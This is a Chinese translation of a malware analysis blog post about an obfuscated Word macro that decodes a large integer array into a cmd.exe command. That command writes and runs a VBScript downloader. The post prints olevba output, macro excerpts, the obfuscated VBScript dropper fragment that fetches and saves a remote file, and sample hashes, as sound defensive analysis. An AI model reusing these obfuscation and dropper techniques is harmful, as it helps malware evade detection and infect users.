几天前, 有人 给我 了 一个奇怪的恶意宏样本,这个样本 无法 被在线的沙盒和普通工具检测到。
这个 vbaProject.bin 文件是从 Word 或者 Excel2007+ 文档( .docm 或 xlsm )中提取出来的典型的包含宏的 OLE 文件。使用 olevba 或者 oledump 可以很简单的提取出宏的源代码。
olevba 0.42 - http://decalage.info/python/oletools Flags Filename ----------- ----------------------------------------------------------------- OLE:MAS-HBDV 0d1228498210c576a3c0f70816d43c22e4539a170555eaf27f9ed37b6c3ae382.bin (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, TXT=Text, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown) =============================================================================== FILE: 0d1228498210c576a3c0f70816d43c22e4539a170555eaf27f9ed37b6c3ae382.bin Type: OLE ------------------------------------------------------------------------------- VBA MACRO ThisDocument.cls in file: 0d1228498210c576a3c0f70816d43c22e4539a170555eaf27f9ed37b6c3ae382.bin - OLE stream: u'VBA/ThisDocument' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Dim VoZoOxr6Mn(2034) As Long Sub ThhoJh8NX() DVZm8YVrQMiwo = RGB(57, 72, 52) Join KwTfhyp, 32 BPo78vzethyYE = Cos(10) Randomize FreeFile 8 KkqgXNfZvN = Dir("CnK5tkVQz") Choose 81, D9v2bgkWjrqDrfD0 [...] If TumGFv7Hqd8 = 0 Then Exit Function NSNhOVv50b = RGB(77, 46, 66) Mu4XjE = TumGFv7Hqd8 - 1 JIHddd7uli8P0PIH = RGB(54, 93, 48) End Function +------------+----------------------+-----------------------------------------+ | Type | Keyword | Description | +------------+----------------------+-----------------------------------------+ | AutoExec | Document_Open | Runs when the Word document is opened | | Suspicious | Shell | May run an executable file or a system | | | | command | | Suspicious | Chr | May attempt to obfuscate specific | | | | strings |
这个确实比较独特:宏的代码相当长,但是被 olevba 检测出可疑的命令是“ shell ”。
然而,一个典型的宏在执行它的 shell 前,需要向文件中写入 payload 。并且大部分情况下,需要从网上下载 payload 。
对代码进行分析后,发现也没有多余的命令去下载或者向磁盘中写入文件。
这就意味着,这个宏既没有释放 payload 从而通过 shell 命令去执行,也没有从网上下载 payload 或者其他应用程序 /dll 文件。
这个代码包含了 2034 个整型数组:
Dim VoZoOxr6Mn(2034) As Long
VoZoOxr6Mn(0) = 432433934
VoZoOxr6Mn(1) = 350786839
VoZoOxr6Mn(2) = -931457408
VoZoOxr6Mn(3) = 1263351013
VoZoOxr6Mn(4) = -934508713
VoZoOxr6Mn(5) = -1080386174
VoZoOxr6Mn(6) = -1982250533
VoZoOxr6Mn(7) = 643917765
[...]
VoZoOxr6Mn(2027) = 1872082481
VoZoOxr6Mn(2028) = -84289746
VoZoOxr6Mn(2029) = 228930248
VoZoOxr6Mn(2030) = -747395805
VoZoOxr6Mn(2031) = 905736327
VoZoOxr6Mn(2032) = 684154832
VoZoOxr6Mn(2033) = 740288
VoZoOxr6Mn(2034) = 0
更重要的是,一些函数通过解码算法可以将这些数组转化成字符串。并将其结果作为“ shell ”命令行的命令。
刚开始我尝试手动分析这些代码,分析出是如何将这些数组解码成实际的 payload 。但是这个太耗费时间了。
后来我尝试将宏指令转化成 VBScript ,然后使用 cscript.exe 来运行。但是 我发现 代码使用了大量特殊的 VBA 解释器,而这些又不被 VBScript 支持。
于是我只好使用 最后一个方法 : 我将这些宏指令导入 Windows 平台上一个空的 Word 文档中, 然后将 其粘贴至 VB editor 。
当然在没有被感染的情况下我还是无法执行代码。因此我将 shell 命令注释掉,用 “Selection.TypeText” 来替换它,采用相同的字符串变量作为参数 , 如下所示。这么做将会向 Word 文档中嵌入文本字符串,而不是执行命令。
在执行完宏之后,神秘的 payload 就会在 word 文档中出现:
[ 中间省略 ]
因此这个证实了第一个假设:这 2034 个整型( 32bit )数组转化成 8KB 的字符串,这个字符串就是命令,最后被 VBA 的 shell 执行。
这些命令调用 cmd.exe 进程处理一系列长长的双引号字符串。每个字符串作为一行添加到名字为 “%appdata%/!TQJZEIfjEY0vjO!.vbs” 的文件中。最终, VBScript 文件被执行。
为了获得 VBScript 的代码,将命令拷贝至记事本中,将每个双引号用换行符来代替:
Dim Hn0VG8Jim,VSbjXB1Tb Sub CFUmNNN5l() M00rlg9loD=RGB(83,25,28) On Error Resume Next GTLwPQK72oc=RGB(56,27,14) dim YdhC58CSw,S4xM6Wpkdj6D,W214qCaiT,UmenL52bDf TI8WZPiK2i=RGB(75,30,67) UmenL52bDf="OQDUQMXOh" YCFFjOyYD=RGB(22,52,15) YdhC58CSw=SeHoavimVzFK("5D3C0102521B60423F025C055D2C4727061D0E4061562718","O5Hurh4") KvUeCMforHxs=RGB(21,30,56) Set S4xM6Wpkdj6D=CrEaTeoBJEct(SeHoavimVzFK("1C2D3623222B200E3B7F1C181D050C1B38",UmenL52bDf)) MIgVQA=RGB(21,18,27) S4xM6Wpkdj6D.OPen SeHoavimVzFK("150D2E","GRHzZoXg"),YdhC58CSw,0 Ugty62w=RGB(77,50,3) S4xM6Wpkdj6D.sETreqUESThEadER SeHoavimVzFK("1F16341613","AMwZqvb3btB6P"),SeHoavimVzFK("00094332007C51421A","Abp7Ws") HI8mQ5YcSR=RGB(35,89,98) S4xM6Wpkdj6D.seNd() W8tEI9rZq6HfsXOEj=RGB(12,23,15) If S4xM6Wpkdj6D.STatUsText<>SeHoavimVzFK("3C5007260E221B45013B0245103C13","Tl1uRgCweB") Then KNC3TSAdM4WQx4G1 G5wuCfP7vda=RGB(10,14,76) End Sub [...] Set BFxKNR=CReaTeoBJect(SeHoavimVzFK("102327283762363B0B5D5738",GoOVIULOEKamGtAZ)) EitKzH0Nuwg=RGB(24,75,19) BFxKNR.OPen U2OqQ3cjPxXD=RGB(44,89,79) BFxKNR.TYpE=1 SxuTPuwwZ68O0in=RGB(15,41,61) BFxKNR.Write CVAWAyYGiQ EUBn1YwiceF=RGB(14,43,29) BFxKNR.saveTOFILE Hn0VG8Jim,(0.5 + 807 + 0.5 - 807 + 0.5 + 807 + 0.5 - 807) IbBRwzqI7UqO9JPb3=RGB(79,82,1) BFxKNR.clOse JxtY72rJ2OVT=RGB(22,29,35) Se21YcvBiRU9OKH6(2) PjpK6qckc=RGB(96,56,3) VSbjXB1Tb=Hn0VG8Jim JPLDZf6lJnt5T=RGB(24,63,45) Hn0VG8Jim=Hn0VG8Jim & LCpqU9MOnkVtOl & SeHoavimVzFK("621F1515","SLzmp") YNUoCl5R9=RGB(21,60,82) Ya5kQ1Uf5rf VSbjXB1Tb,Hn0VG8Jim,SeHoavimVzFK("095B51546B00","Th92eY3Ha") W1H46j8jP=RGB(46,77,58) LOSKRvzUGjsz Dctbq6sdzPJ=RGB(87,23,58) End Sub
这个 VBScript 的脚本同样很迷乱,但是现在却比较容易分析。我会在随后的博客中将其转换一下。
这里 使用我之前文章“ How to find malware samples containing specific strings ”中的 自定义搜索引擎方法 , 就可以 查找与宏代码中相似字符串的样本。例如,使用数组名“ VoZoOxr6Mn ”,我发现两个样本:
d3e1735b9257ab0a578b375f01303b541786da18b5971d7c146b65886543b666 :显示具有相同宏源码,但是没有VBS payload.
95810b7ed825c4615256b9b72d03c9811c9c602d5bf4a405c2fc2b52d09ce8d9 :相同的宏,但是这里存在命令行,VBS payload以及相应的行为分析。
因此采用这种搜索方法,我可以更快的找到相同的结果。
这个包含宏的神秘文件,通过解码让人迷惑的整型数组来构造 8KB 的字符串。这个字符串实际上就是启动 cmd.exe 的命令,随后通过循环的方式一行一行构建 VBScript 文件,最终执行它。
同时还显示一个宏除了简单的 ” Shell ” 命令而不包括任何可疑的关键字,完全可以释放嵌入在宏中的 Payload 。
*原文地址: decalage.info ,东二门陈冠希/编译,部分内容有修改,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)